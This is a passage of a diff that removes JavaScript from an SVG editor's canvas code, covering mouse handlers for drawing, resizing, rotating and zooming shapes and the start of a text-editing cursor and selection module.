-		$.each(ext_result, function(i, r) {
-			if(r && r.started) {
-				started = true;
-			}
-		});
-	};
-	
-	// in this function we do not record any state changes yet (but we do update
-	// any elements that are still being created, moved or resized on the canvas)
-	var mouseMove = function(evt)
-	{
-		if (!started) return;
-		if(evt.button === 1 || canvas.spaceKey) return;
-
-		var selected = selectedElements[0],
-			pt = transformPoint( evt.pageX, evt.pageY, root_sctm ),
-			mouse_x = pt.x * current_zoom,
-			mouse_y = pt.y * current_zoom,
-			shape = getElem(getId());
-
-		var real_x = x = mouse_x / current_zoom;
-		var real_y = y = mouse_y / current_zoom;
-
-		if(curConfig.gridSnapping){
-			x = snapToGrid(x);
-			y = snapToGrid(y);
-		}
-
-		evt.preventDefault();
-		
-		switch (current_mode)
-		{
-			case "select":
-				// we temporarily use a translate on the element(s) being dragged
-				// this transform is removed upon mousing up and the element is 
-				// relocated to the new location
-				if (selectedElements[0] !== null) {
-					var dx = x - start_x;
-					var dy = y - start_y;
-					
-					if(curConfig.gridSnapping){
-						dx = snapToGrid(dx);
-						dy = snapToGrid(dy);
-					}
-
-					if(evt.shiftKey) { var xya = snapToAngle(start_x,start_y,x,y); x=xya.x; y=xya.y; }
-
-					if (dx != 0 || dy != 0) {
-						var len = selectedElements.length;
-						for (var i = 0; i < len; ++i) {
-							var selected = selectedElements[i];
-							if (selected == null) break;
-//							if (i==0) {
-//								var box = svgedit.utilities.getBBox(selected);
-// 									selectedBBoxes[i].x = box.x + dx;
-// 									selectedBBoxes[i].y = box.y + dy;
-//							}
-
-							// update the dummy transform in our transform list
-							// to be a translate
-							var xform = svgroot.createSVGTransform();
-							var tlist = getTransformList(selected);
-							// Note that if Webkit and there's no ID for this
-							// element, the dummy transform may have gotten lost.
-							// This results in unexpected behaviour
-							
-							xform.setTranslate(dx,dy);
-							if(tlist.numberOfItems) {
-								tlist.replaceItem(xform, 0);
-							} else {
-								tlist.appendItem(xform);
-							}
-							
-							// update our internal bbox that we're tracking while dragging
-							selectorManager.requestSelector(selected).resize();
-						}
-						
-						call("transition", selectedElements);
-					}
-				}
-				break;
-			case "multiselect":
-				real_x *= current_zoom;
-				real_y *= current_zoom;
-				assignAttributes(rubberBox, {
-					'x': Math.min(r_start_x, real_x),
-					'y': Math.min(r_start_y, real_y),
-					'width': Math.abs(real_x - r_start_x),
-					'height': Math.abs(real_y - r_start_y)
-				},100);
-
-				// for each selected:
-				// - if newList contains selected, do nothing
-				// - if newList doesn't contain selected, remove it from selected
-				// - for any newList that was not in selectedElements, add it to selected
-				var elemsToRemove = [], elemsToAdd = [],
-					newList = getIntersectionList(),
-					len = selectedElements.length;
-				
-				for (var i = 0; i < len; ++i) {
-					var ind = newList.indexOf(selectedElements[i]);
-					if (ind == -1) {
-						elemsToRemove.push(selectedElements[i]);
-					}
-					else {
-						newList[ind] = null;
-					}
-				}
-				
-				len = newList.length;
-				for (i = 0; i < len; ++i) { if (newList[i]) elemsToAdd.push(newList[i]); }
-				
-				if (elemsToRemove.length > 0) 
-					canvas.removeFromSelection(elemsToRemove);
-				
-				if (elemsToAdd.length > 0) 
-					addToSelection(elemsToAdd);
-					
-				break;
-			case "resize":
-				// we track the resize bounding box and translate/scale the selected element
-				// while the mouse is down, when mouse goes up, we use this to recalculate
-				// the shape's coordinates
-				var tlist = getTransformList(selected),
-					hasMatrix = hasMatrixTransform(tlist),
-					box = hasMatrix ? init_bbox : svgedit.utilities.getBBox(selected), 
-					left=box.x, top=box.y, width=box.width,
-					height=box.height, dx=(x-start_x), dy=(y-start_y);
-				
-				if(curConfig.gridSnapping){
-					dx = snapToGrid(dx);
-					dy = snapToGrid(dy);
-					height = snapToGrid(height);
-					width = snapToGrid(width);
-				}
-
-				// if rotated, adjust the dx,dy values
-				var angle = getRotationAngle(selected);
-				if (angle) {
-					var r = Math.sqrt( dx*dx + dy*dy ),
-						theta = Math.atan2(dy,dx) - angle * Math.PI / 180.0;
-					dx = r * Math.cos(theta);
-					dy = r * Math.sin(theta);
-				}
-
-				// if not stretching in y direction, set dy to 0
-				// if not stretching in x direction, set dx to 0
-				if(current_resize_mode.indexOf("n")==-1 && current_resize_mode.indexOf("s")==-1) {
-					dy = 0;
-				}
-				if(current_resize_mode.indexOf("e")==-1 && current_resize_mode.indexOf("w")==-1) {
-					dx = 0;
-				}				
-				
-				var ts = null,
-					tx = 0, ty = 0,
-					sy = height ? (height+dy)/height : 1, 
-					sx = width ? (width+dx)/width : 1;
-				// if we are dragging on the north side, then adjust the scale factor and ty
-				if(current_resize_mode.indexOf("n") >= 0) {
-					sy = height ? (height-dy)/height : 1;
-					ty = height;
-				}
-				
-				// if we dragging on the east side, then adjust the scale factor and tx
-				if(current_resize_mode.indexOf("w") >= 0) {
-					sx = width ? (width-dx)/width : 1;
-					tx = width;
-				}
-				
-				// update the transform list with translate,scale,translate
-				var translateOrigin = svgroot.createSVGTransform(),
-					scale = svgroot.createSVGTransform(),
-					translateBack = svgroot.createSVGTransform();
-
-				if(curConfig.gridSnapping){
-					left = snapToGrid(left);
-					tx = snapToGrid(tx);
-					top = snapToGrid(top);
-					ty = snapToGrid(ty);
-				}
-
-				translateOrigin.setTranslate(-(left+tx),-(top+ty));
-				if(evt.shiftKey) {
-					if(sx == 1) sx = sy
-					else sy = sx;
-				}
-				scale.setScale(sx,sy);
-				
-				translateBack.setTranslate(left+tx,top+ty);
-				if(hasMatrix) {
-					var diff = angle?1:0;
-					tlist.replaceItem(translateOrigin, 2+diff);
-					tlist.replaceItem(scale, 1+diff);
-					tlist.replaceItem(translateBack, 0+diff);
-				} else {
-					var N = tlist.numberOfItems;
-					tlist.replaceItem(translateBack, N-3);
-					tlist.replaceItem(scale, N-2);
-					tlist.replaceItem(translateOrigin, N-1);
-				}
-
-				selectorManager.requestSelector(selected).resize();
-				
-				call("transition", selectedElements);
-				
-				break;
-			case "zoom":
-				real_x *= current_zoom;
-				real_y *= current_zoom;
-				assignAttributes(rubberBox, {
-					'x': Math.min(r_start_x*current_zoom, real_x),
-					'y': Math.min(r_start_y*current_zoom, real_y),
-					'width': Math.abs(real_x - r_start_x*current_zoom),
-					'height': Math.abs(real_y - r_start_y*current_zoom)
-				},100);			
-				break;
-			case "text":
-				assignAttributes(shape,{
-					'x': x,
-					'y': y
-				},1000);
-				break;
-			case "line":
-				// Opera has a problem with suspendRedraw() apparently
-				var handle = null;
-				if (!window.opera) svgroot.suspendRedraw(1000);
-
-				if(curConfig.gridSnapping){
-					x = snapToGrid(x);
-					y = snapToGrid(y);
-				}
-
-				var x2 = x;
-				var y2 = y;					
-
-				if(evt.shiftKey) { var xya = snapToAngle(start_x,start_y,x2,y2); x2=xya.x; y2=xya.y; }
-				
-				shape.setAttributeNS(null, "x2", x2);
-				shape.setAttributeNS(null, "y2", y2);
-				if (!window.opera) svgroot.unsuspendRedraw(handle);
-				break;
-			case "foreignObject":
-				// fall through
-			case "square":
-				// fall through
-			case "rect":
-				// fall through
-			case "image":
-				var square = (current_mode == 'square') || evt.shiftKey,
-					w = Math.abs(x - start_x),
-					h = Math.abs(y - start_y),
-					new_x, new_y;
-				if(square) {
-					w = h = Math.max(w, h);
-					new_x = start_x < x ? start_x : start_x - w;
-					new_y = start_y < y ? start_y : start_y - h;
-				} else {
-					new_x = Math.min(start_x,x);
-					new_y = Math.min(start_y,y);
-				}
-	
-				if(curConfig.gridSnapping){
-					w = snapToGrid(w);
-					h = snapToGrid(h);
-					new_x = snapToGrid(new_x);
-					new_y = snapToGrid(new_y);
-				}
-
-				assignAttributes(shape,{
-					'width': w,
-					'height': h,
-					'x': new_x,
-					'y': new_y
-				},1000);
-				
-				break;
-			case "circle":
-				var c = $(shape).attr(["cx", "cy"]);
-				var cx = c.cx, cy = c.cy,
-					rad = Math.sqrt( (x-cx)*(x-cx) + (y-cy)*(y-cy) );
-				if(curConfig.gridSnapping){
-					rad = snapToGrid(rad);
-				}
-				shape.setAttributeNS(null, "r", rad);
-				break;
-			case "ellipse":
-				var c = $(shape).attr(["cx", "cy"]);
-				var cx = c.cx, cy = c.cy;
-				// Opera has a problem with suspendRedraw() apparently
-					handle = null;
-				if (!window.opera) svgroot.suspendRedraw(1000);
-				if(curConfig.gridSnapping){
-					x = snapToGrid(x);
-					cx = snapToGrid(cx);
-					y = snapToGrid(y);
-					cy = snapToGrid(cy);
-				}
-				shape.setAttributeNS(null, "rx", Math.abs(x - cx) );
-				var ry = Math.abs(evt.shiftKey?(x - cx):(y - cy));
-				shape.setAttributeNS(null, "ry", ry );
-				if (!window.opera) svgroot.unsuspendRedraw(handle);
-				break;
-			case "fhellipse":
-			case "fhrect":
-				freehand.minx = Math.min(real_x, freehand.minx);
-				freehand.maxx = Math.max(real_x, freehand.maxx);
-				freehand.miny = Math.min(real_y, freehand.miny);
-				freehand.maxy = Math.max(real_y, freehand.maxy);
-			// break; missing on purpose
-			case "fhpath":
-				d_attr += + real_x + "," + real_y + " ";
-				shape.setAttributeNS(null, "points", d_attr);
-				break;
-			// update path stretch line coordinates
-			case "path":
-				// fall through
-			case "pathedit":
-				x *= current_zoom;
-				y *= current_zoom;
-				
-				if(curConfig.gridSnapping){
-					x = snapToGrid(x);
-					y = snapToGrid(y);
-					start_x = snapToGrid(start_x);
-					start_y = snapToGrid(start_y);
-				}
-				if(evt.shiftKey) {
-					var path = svgedit.path.path;
-					if(path) {
-						var x1 = path.dragging?path.dragging[0]:start_x;
-						var y1 = path.dragging?path.dragging[1]:start_y;
-					} else {
-						var x1 = start_x;
-						var y1 = start_y;
-					}
-					var xya = snapToAngle(x1,y1,x,y);
-					x=xya.x; y=xya.y;
-				}
-				
-				if(rubberBox && rubberBox.getAttribute('display') !== 'none') {
-					real_x *= current_zoom;
-					real_y *= current_zoom;
-					assignAttributes(rubberBox, {
-						'x': Math.min(r_start_x*current_zoom, real_x),
-						'y': Math.min(r_start_y*current_zoom, real_y),
-						'width': Math.abs(real_x - r_start_x*current_zoom),
-						'height': Math.abs(real_y - r_start_y*current_zoom)
-					},100);	
-				}
-				pathActions.mouseMove(x, y);
-				
-				break;
-			case "textedit":
-				x *= current_zoom;
-				y *= current_zoom;
-// 					if(rubberBox && rubberBox.getAttribute('display') != 'none') {
-// 						assignAttributes(rubberBox, {
-// 							'x': Math.min(start_x,x),
-// 							'y': Math.min(start_y,y),
-// 							'width': Math.abs(x-start_x),
-// 							'height': Math.abs(y-start_y)
-// 						},100);
-// 					}
-				
-				textActions.mouseMove(mouse_x, mouse_y);
-				
-				break;
-			case "rotate":
-				var box = svgedit.utilities.getBBox(selected),
-					cx = box.x + box.width/2, 
-					cy = box.y + box.height/2,
-					m = getMatrix(selected),
-					center = transformPoint(cx,cy,m);
-				cx = center.x;
-				cy = center.y;
-				var angle = ((Math.atan2(cy-y,cx-x)  * (180/Math.PI))-90) % 360;
-				if(curConfig.gridSnapping){
-					angle = snapToGrid(angle);
-				}
-				if(evt.shiftKey) { // restrict rotations to nice angles (WRS)
-					var snap = 45;
-					angle= Math.round(angle/snap)*snap;
-				}
-
-				canvas.setRotationAngle(angle<-180?(360+angle):angle, true);
-				call("transition", selectedElements);
-				break;
-			default:
-				break;
-		}
-		
-		runExtensions("mouseMove", {
-			event: evt,
-			mouse_x: mouse_x,
-			mouse_y: mouse_y,
-			selected: selected
-		});
-
-	}; // mouseMove()
-	
-	// - in create mode, the element's opacity is set properly, we create an InsertElementCommand
-	//   and store it on the Undo stack
-	// - in move/resize mode, the element's attributes which were affected by the move/resize are
-	//   identified, a ChangeElementCommand is created and stored on the stack for those attrs
-	//   this is done in when we recalculate the selected dimensions()
-	var mouseUp = function(evt)
-	{
-		if(evt.button === 2) return;
-		var tempJustSelected = justSelected;
-		justSelected = null;
-		if (!started) return;
-		var pt = transformPoint( evt.pageX, evt.pageY, root_sctm ),
-			mouse_x = pt.x * current_zoom,
-			mouse_y = pt.y * current_zoom,
-			x = mouse_x / current_zoom,
-			y = mouse_y / current_zoom,
-			element = getElem(getId()),
-			keep = false;
-
-		var real_x = x;
-		var real_y = y;
-
-		// TODO: Make true when in multi-unit mode
-		var useUnit = false; // (curConfig.baseUnit !== 'px');
-		started = false;
-		switch (current_mode)
-		{
-			// intentionally fall-through to select here
-			case "resize":
-			case "multiselect":
-				if (rubberBox != null) {
-					rubberBox.setAttribute("display", "none");
-					curBBoxes = [];
-				}
-				current_mode = "select";
-			case "select":
-				if (selectedElements[0] != null) {
-					// if we only have one selected element
-					if (selectedElements[1] == null) {
-						// set our current stroke/fill properties to the element's
-						var selected = selectedElements[0];
-						switch ( selected.tagName ) {
-							case "g":
-							case "use":
-							case "image":
-							case "foreignObject":
-								break;
-							default:
-								cur_properties.fill = selected.getAttribute("fill");
-								cur_properties.fill_opacity = selected.getAttribute("fill-opacity");
-								cur_properties.stroke = selected.getAttribute("stroke");
-								cur_properties.stroke_opacity = selected.getAttribute("stroke-opacity");
-								cur_properties.stroke_width = selected.getAttribute("stroke-width");
-								cur_properties.stroke_dasharray = selected.getAttribute("stroke-dasharray");
-								cur_properties.stroke_linejoin = selected.getAttribute("stroke-linejoin");
-								cur_properties.stroke_linecap = selected.getAttribute("stroke-linecap");
-						}
-
-						if (selected.tagName == "text") {
-							cur_text.font_size = selected.getAttribute("font-size");
-							cur_text.font_family = selected.getAttribute("font-family");
-						}
-						selectorManager.requestSelector(selected).showGrips(true);
-						
-						// This shouldn't be necessary as it was done on mouseDown...
-// 							call("selected", [selected]);
-					}
-					// always recalculate dimensions to strip off stray identity transforms
-					recalculateAllSelectedDimensions();
-					// if it was being dragged/resized
-					if (real_x != r_start_x || real_y != r_start_y) {
-						var len = selectedElements.length;
-						for	(var i = 0; i < len; ++i) {
-							if (selectedElements[i] == null) break;
-							if(!selectedElements[i].firstChild) {
-								// Not needed for groups (incorrectly resizes elems), possibly not needed at all?
-								selectorManager.requestSelector(selectedElements[i]).resize();
-							}
-						}
-					}
-					// no change in position/size, so maybe we should move to pathedit
-					else {
-						var t = evt.target;
-						if (selectedElements[0].nodeName === "path" && selectedElements[1] == null) {
-							pathActions.select(selectedElements[0]);
-						} // if it was a path
-						// else, if it was selected and this is a shift-click, remove it from selection
-						else if (evt.shiftKey) {
-							if(tempJustSelected != t) {
-								canvas.removeFromSelection([t]);
-							}
-						}
-					} // no change in mouse position
-					
-					// Remove non-scaling stroke
-					if(svgedit.browser.supportsNonScalingStroke()) {
-						var elem = selectedElements[0];
-						if (elem) {
-							elem.removeAttribute('style');
-							svgedit.utilities.walkTree(elem, function(elem) {
-								elem.removeAttribute('style');
-							});
-						}
-					}
-
-				}
-				return;
-				break;
-			case "zoom":
-				if (rubberBox != null) {
-					rubberBox.setAttribute("display", "none");
-				}
-				var factor = evt.shiftKey?.5:2;
-				call("zoomed", {
-					'x': Math.min(r_start_x, real_x),
-					'y': Math.min(r_start_y, real_y),
-					'width': Math.abs(real_x - r_start_x),
-					'height': Math.abs(real_y - r_start_y),
-					'factor': factor
-				});
-				return;
-			case "fhpath":
-				// Check that the path contains at least 2 points; a degenerate one-point path
-				// causes problems.
-				// Webkit ignores how we set the points attribute with commas and uses space
-				// to separate all coordinates, see https://bugs.webkit.org/show_bug.cgi?id=29870
-				var coords = element.getAttribute('points');
-				var commaIndex = coords.indexOf(',');
-				if (commaIndex >= 0) {
-					keep = coords.indexOf(',', commaIndex+1) >= 0;
-				} else {
-					keep = coords.indexOf(' ', coords.indexOf(' ')+1) >= 0;
-				}
-				if (keep) {
-					element = pathActions.smoothPolylineIntoPath(element);
-				}
-				break;
-			case "line":
-				var attrs = $(element).attr(["x1", "x2", "y1", "y2"]);
-				keep = (attrs.x1 != attrs.x2 || attrs.y1 != attrs.y2);
-				break;
-			case "foreignObject":
-			case "square":
-			case "rect":
-			case "image":
-				var attrs = $(element).attr(["width", "height"]);
-				// Image should be kept regardless of size (use inherit dimensions later)
-				keep = (attrs.width != 0 || attrs.height != 0) || current_mode === "image";
-				break;
-			case "circle":
-				keep = (element.getAttribute('r') != 0);
-				break;
-			case "ellipse":
-				var attrs = $(element).attr(["rx", "ry"]);
-				keep = (attrs.rx != null || attrs.ry != null);
-				break;
-			case "fhellipse":
-				if ((freehand.maxx - freehand.minx) > 0 &&
-					(freehand.maxy - freehand.miny) > 0) {
-					element = addSvgElementFromJson({
-						"element": "ellipse",
-						"curStyles": true,
-						"attr": {
-							"cx": (freehand.minx + freehand.maxx) / 2,
-							"cy": (freehand.miny + freehand.maxy) / 2,
-							"rx": (freehand.maxx - freehand.minx) / 2,
-							"ry": (freehand.maxy - freehand.miny) / 2,
-							"id": getId()
-						}
-					});
-					call("changed",[element]);
-					keep = true;
-				}
-				break;
-			case "fhrect":
-				if ((freehand.maxx - freehand.minx) > 0 &&
-					(freehand.maxy - freehand.miny) > 0) {
-					element = addSvgElementFromJson({
-						"element": "rect",
-						"curStyles": true,
-						"attr": {
-							"x": freehand.minx,
-							"y": freehand.miny,
-							"width": (freehand.maxx - freehand.minx),
-							"height": (freehand.maxy - freehand.miny),
-							"id": getId()
-						}
-					});
-					call("changed",[element]);
-					keep = true;
-				}
-				break;
-			case "text":
-				keep = true;
-				selectOnly([element]);
-				textActions.start(element);
-				break;
-			case "path":
-				// set element to null here so that it is not removed nor finalized
-				element = null;
-				// continue to be set to true so that mouseMove happens
-				started = true;
-				
-				var res = pathActions.mouseUp(evt, element, mouse_x, mouse_y);
-				element = res.element
-				keep = res.keep;
-				break;
-			case "pathedit":
-				keep = true;
-				element = null;
-				pathActions.mouseUp(evt);
-				break;
-			case "textedit":
-				keep = false;
-				element = null;
-				textActions.mouseUp(evt, mouse_x, mouse_y);
-				break;
-			case "rotate":
-				keep = true;
-				element = null;
-				current_mode = "select";
-				var batchCmd = canvas.undoMgr.finishUndoableChange();
-				if (!batchCmd.isEmpty()) { 
-					addCommandToHistory(batchCmd);
-				}
-				// perform recalculation to weed out any stray identity transforms that might get stuck
-				recalculateAllSelectedDimensions();
-				call("changed", selectedElements);
-				break;
-			default:
-				// This could occur in an extension
-				break;
-		}
-		
-		var ext_result = runExtensions("mouseUp", {
-			event: evt,
-			mouse_x: mouse_x,
-			mouse_y: mouse_y
-		}, true);
-		
-		$.each(ext_result, function(i, r) {
-			if(r) {
-				keep = r.keep || keep;
-				element = r.element;
-				started = r.started || started;
-			}
-		});
-		
-		if (!keep && element != null) {
-			getCurrentDrawing().releaseId(getId());
-			element.parentNode.removeChild(element);
-			element = null;
-			
-			var t = evt.target;
-			
-			// if this element is in a group, go up until we reach the top-level group 
-			// just below the layer groups
-			// TODO: once we implement links, we also would have to check for <a> elements
-			while (t.parentNode.parentNode.tagName == "g") {
-				t = t.parentNode;
-			}
-			// if we are not in the middle of creating a path, and we've clicked on some shape, 
-			// then go to Select mode.
-			// WebKit returns <div> when the canvas is clicked, Firefox/Opera return <svg>
-			if ( (current_mode != "path" || !drawn_path) &&
-				t.parentNode.id != "selectorParentGroup" &&
-				t.id != "svgcanvas" && t.id != "svgroot") 
-			{
-				// switch into "select" mode if we've clicked on an element
-				canvas.setMode("select");
-				selectOnly([t], true);
-			}
-			
-		} else if (element != null) {
-			canvas.addedNew = true;
-			
-			if(useUnit) svgedit.units.convertAttrs(element);
-			
-			var ani_dur = .2, c_ani;
-			if(opac_ani.beginElement && element.getAttribute('opacity') != cur_shape.opacity) {
-				c_ani = $(opac_ani).clone().attr({
-					to: cur_shape.opacity,
-					dur: ani_dur
-				}).appendTo(element);
-				try {
-					// Fails in FF4 on foreignObject
-					c_ani[0].beginElement();
-				} catch(e){}
-			} else {
-				ani_dur = 0;
-			}
-			
-			// Ideally this would be done on the endEvent of the animation,
-			// but that doesn't seem to be supported in Webkit
-			setTimeout(function() {
-				if(c_ani) c_ani.remove();
-				element.setAttribute("opacity", cur_shape.opacity);
-				element.setAttribute("style", "pointer-events:inherit");
-				cleanupElement(element);
-				if(current_mode === "path") {
-					pathActions.toEditMode(element);
-				} else {
-					if(curConfig.selectNew) {
-						selectOnly([element], true);
-					}
-				}
-				// we create the insert command that is stored on the stack
-				// undo means to call cmd.unapply(), redo means to call cmd.apply()
-				addCommandToHistory(new InsertElementCommand(element));
-				
-				call("changed",[element]);
-			}, ani_dur * 1000);
-		}
-		
-		start_transform = null;
-	};
-	
-	var dblClick = function(evt) {
-		var evt_target = evt.target;
-		var parent = evt_target.parentNode;
-		
-		// Do nothing if already in current group
-		if(parent === current_group) return;
-		
-		var mouse_target = getMouseTarget(evt);
-		var tagName = mouse_target.tagName;
-		
-		if(tagName === 'text' && current_mode !== 'textedit') {
-			var pt = transformPoint( evt.pageX, evt.pageY, root_sctm );
-			textActions.select(mouse_target, pt.x, pt.y);
-		}
-		
-		if((tagName === "g" || tagName === "a") && getRotationAngle(mouse_target)) {
-			// TODO: Allow method of in-group editing without having to do 
-			// this (similar to editing rotated paths)
-		
-			// Ungroup and regroup
-			pushGroupProperties(mouse_target);
-			mouse_target = selectedElements[0];
-			clearSelection(true);
-		}
-		// Reset context
-		if(current_group) {
-			leaveContext();
-		}
-		
-		if((parent.tagName !== 'g' && parent.tagName !== 'a') ||
-			parent === getCurrentDrawing().getCurrentLayer() ||
-			mouse_target === selectorManager.selectorParentGroup)
-		{
-			// Escape from in-group edit
-			return;
-		}
-		setContext(mouse_target);
-	}
-
-	// prevent links from being followed in the canvas
-	var handleLinkInCanvas = function(e) {
-		e.preventDefault();
-		return false;
-	};
-	
-	// Added mouseup to the container here.
-	// TODO(codedread): Figure out why after the Closure compiler, the window mouseup is ignored.
-	$(container).mousedown(mouseDown).mousemove(mouseMove).click(handleLinkInCanvas).dblclick(dblClick).mouseup(mouseUp);
-//	$(window).mouseup(mouseUp);
-	
-	$(container).bind("mousewheel DOMMouseScroll", function(e){
-		if(!e.shiftKey) return;
-		e.preventDefault();
-
-		root_sctm = svgcontent.getScreenCTM().inverse();
-		var pt = transformPoint( e.pageX, e.pageY, root_sctm );
-		var bbox = {
-			'x': pt.x,
-			'y': pt.y,
-			'width': 0,
-			'height': 0
-		};
-
-		// Respond to mouse wheel in IE/Webkit/Opera.
-		// (It returns up/dn motion in multiples of 120)
-		if(e.wheelDelta) {
-			if (e.wheelDelta >= 120) {
-				bbox.factor = 2;
-			} else if (e.wheelDelta <= -120) {
-				bbox.factor = .5;
-			}
-		} else if(e.detail) {
-			if (e.detail > 0) {
-				bbox.factor = .5;
-			} else if (e.detail < 0) {
-				bbox.factor = 2;			
-			}				
-		}
-		
-		if(!bbox.factor) return;
-		call("zoomed", bbox);
-	});
-	
-}());
-
-// Function: preventClickDefault
-// Prevents default browser click behaviour on the given element
-//
-// Parameters:
-// img - The DOM element to prevent the cilck on
-var preventClickDefault = function(img) {
-	$(img).click(function(e){e.preventDefault()});
-}
-
-// Group: Text edit functions
-// Functions relating to editing text elements
-var textActions = canvas.textActions = function() {
-	var curtext;
-	var textinput;
-	var cursor;
-	var selblock;
-	var blinker;
-	var chardata = [];
-	var textbb, transbb;
-	var matrix;
-	var last_x, last_y;
-	var allow_dbl;
-	
-	function setCursor(index) {
-		var empty = (textinput.value === "");
-		$(textinput).focus();
-	
-		if(!arguments.length) {
-			if(empty) {
-				index = 0;
-			} else {
-				if(textinput.selectionEnd !== textinput.selectionStart) return;
-				index = textinput.selectionEnd;
-			}
-		}
-		
-		var charbb;
-		charbb = chardata[index];
-		if(!empty) {
-			textinput.setSelectionRange(index, index);
-		}
-		cursor = getElem("text_cursor");
-		if (!cursor) {
-			cursor = document.createElementNS(svgns, "line");
-			assignAttributes(cursor, {
-				'id': "text_cursor",
-				'stroke': "#333",
-				'stroke-width': 1
-			});
-			cursor = getElem("selectorParentGroup").appendChild(cursor);
-		}
-		
-		if(!blinker) {
-			blinker = setInterval(function() {
-				var show = (cursor.getAttribute('display') === 'none');
-				cursor.setAttribute('display', show?'inline':'none');
-			}, 600);
-
-		}
-		
-		
-		var start_pt = ptToScreen(charbb.x, textbb.y);
-		var end_pt = ptToScreen(charbb.x, (textbb.y + textbb.height));
-		
-		assignAttributes(cursor, {
-			x1: start_pt.x,
-			y1: start_pt.y,
-			x2: end_pt.x,
-			y2: end_pt.y,
-			visibility: 'visible',
-			display: 'inline'
-		});
-		
-		if(selblock) selblock.setAttribute('d', '');
-	}
-	
-	function setSelection(start, end, skipInput) {
-		if(start === end) {
-			setCursor(end);
-			return;
-		}
-	
-		if(!skipInput) {
-			textinput.setSelectionRange(start, end);
-		}
-		
-		selblock = getElem("text_selectblock");
-		if (!selblock) {
-
-			selblock = document.createElementNS(svgns, "path");
-			assignAttributes(selblock, {
-				'id': "text_selectblock",
-				'fill': "green",
-				'opacity': .5,
-				'style': "pointer-events:none"
-			});
-			getElem("selectorParentGroup").appendChild(selblock);
-		}
-
-		
-		var startbb = chardata[start];
-		
-		var endbb = chardata[end];
-		
-		cursor.setAttribute('visibility', 'hidden');
-		
-		var tl = ptToScreen(startbb.x, textbb.y),
-			tr = ptToScreen(startbb.x + (endbb.x - startbb.x), textbb.y),
-			bl = ptToScreen(startbb.x, textbb.y + textbb.height),
-			br = ptToScreen(startbb.x + (endbb.x - startbb.x), textbb.y + textbb.height);
-		
-		
-		var dstr = "M" + tl.x + "," + tl.y
-					+ " L" + tr.x + "," + tr.y
-					+ " " + br.x + "," + br.y
-					+ " " + bl.x + "," + bl.y + "z";
-		
-		assignAttributes(selblock, {
-			d: dstr,
-			'display': 'inline'
-		});
-	}
-	
-	function getIndexFromPoint(mouse_x, mouse_y) {
-		// Position cursor here
-		var pt = svgroot.createSVGPoint();
-		pt.x = mouse_x;
-		pt.y = mouse_y;
-
-		// No content, so return 0
-		if(chardata.length == 1) return 0;
-		// Determine if cursor should be on left or right of character
-		var charpos = curtext.getCharNumAtPosition(pt);
-		if(charpos < 0) {
-			// Out of text range, look at mouse coords
-			charpos = chardata.length - 2;
-			if(mouse_x <= chardata[0].x) {
-				charpos = 0;
-			}
-		} else if(charpos >= chardata.length - 2) {
-			charpos = chardata.length - 2;
-		}
-		var charbb = chardata[charpos];
-		var mid = charbb.x + (charbb.width/2);
-		if(mouse_x > mid) {
-			charpos++;
-		}
-		return charpos;
-	}
-	
-	function setCursorFromPoint(mouse_x, mouse_y) {
-		setCursor(getIndexFromPoint(mouse_x, mouse_y));
-	}
-	
-	function setEndSelectionFromPoint(x, y, apply) {
-		var i1 = textinput.selectionStart;
-		var i2 = getIndexFromPoint(x, y);
-		
-		var start = Math.min(i1, i2);
-		var end = Math.max(i1, i2);
-		setSelection(start, end, !apply);
-	}
-		
-	function screenToPt(x_in, y_in) {
-		var out = {
-			x: x_in,
-			y: y_in
-		}
-		
-		out.x /= current_zoom;
-		out.y /= current_zoom;			
-
-		if(matrix) {
-			var pt = transformPoint(out.x, out.y, matrix.inverse());
-			out.x = pt.x;
-			out.y = pt.y;
-		}
-		
-		return out;
-	}	
-	
-	function ptToScreen(x_in, y_in) {
-		var out = {
-			x: x_in,
-			y: y_in
-		}
-		
-		if(matrix) {
-			var pt = transformPoint(out.x, out.y, matrix);
-			out.x = pt.x;
-			out.y = pt.y;
-		}
-		
-		out.x *= current_zoom;
-		out.y *= current_zoom;
-		
-		return out;
-	}
-	
-	function hideCursor() {
-		if(cursor) {
-			cursor.setAttribute('visibility', 'hidden');
-		}
-	}
-	
-	function selectAll(evt) {
-		setSelection(0, curtext.textContent.length);
-		$(this).unbind(evt);
-	}
-
-	function selectWord(evt) {
-		if(!allow_dbl || !curtext) return;
-	
-		var ept = transformPoint( evt.pageX, evt.pageY, root_sctm ),
-			mouse_x = ept.x * current_zoom,
-			mouse_y = ept.y * current_zoom;
-		var pt = screenToPt(mouse_x, mouse_y);
-		
-		var index = getIndexFromPoint(pt.x, pt.y);
-		var str = curtext.textContent;
-		var first = str.substr(0, index).replace(/[a-z0-9]+$/i, '').length;
-		var m = str.substr(index).match(/^[a-z0-9]+/i);
-		var last = (m?m[0].length:0) + index;
-		setSelection(first, last);
-		
-		// Set tripleclick
-		$(evt.target).click(selectAll);
-		setTimeout(function() {
-			$(evt.target).unbind('click', selectAll);
-		}, 300);
-		
-	}
-
-	return {
-		select: function(target, x, y) {
-			curtext = target;
-			textActions.toEditMode(x, y);
-		},
-		start: function(elem) {
-			curtext = elem;
-			textActions.toEditMode();
-		},
-		mouseDown: function(evt, mouse_target, start_x, start_y) {
-			var pt = screenToPt(start_x, start_y);
-		
-			textinput.focus();
-			setCursorFromPoint(pt.x, pt.y);
-			last_x = start_x;
-			last_y = start_y;
-			
-			// TODO: Find way to block native selection
-		},
-		mouseMove: function(mouse_x, mouse_y) {
-			var pt = screenToPt(mouse_x, mouse_y);
-			setEndSelectionFromPoint(pt.x, pt.y);
-		},			
-		mouseUp: function(evt, mouse_x, mouse_y) {
-			var pt = screenToPt(mouse_x, mouse_y);
-			
-			setEndSelectionFromPoint(pt.x, pt.y, true);
-			
-			// TODO: Find a way to make this work: Use transformed BBox instead of evt.target 
-// 				if(last_x === mouse_x && last_y === mouse_y
-// 					&& !svgedit.math.rectsIntersect(transbb, {x: pt.x, y: pt.y, width:0, height:0})) {
-// 					textActions.toSelectMode(true);				
-// 				}
-
-			if(
-				evt.target !== curtext
-				&&	mouse_x < last_x + 2
-				&& mouse_x > last_x - 2
-				&&	mouse_y < last_y + 2
-				&& mouse_y > last_y - 2) {
-
-				textActions.toSelectMode(true);
-			}
-
-		},
-		setCursor: setCursor,
-		toEditMode: function(x, y) {
-			allow_dbl = false;
-			current_mode = "textedit";
-			selectorManager.requestSelector(curtext).showGrips(false);
-			// Make selector group accept clicks
-			var sel = selectorManager.requestSelector(curtext).selectorRect;
-			
-			textActions.init();
-
-			$(curtext).css('cursor', 'text');
-			
-// 				if(svgedit.browser.supportsEditableText()) {
-// 					curtext.setAttribute('editable', 'simple');
-// 					return;
-// 				}
-			
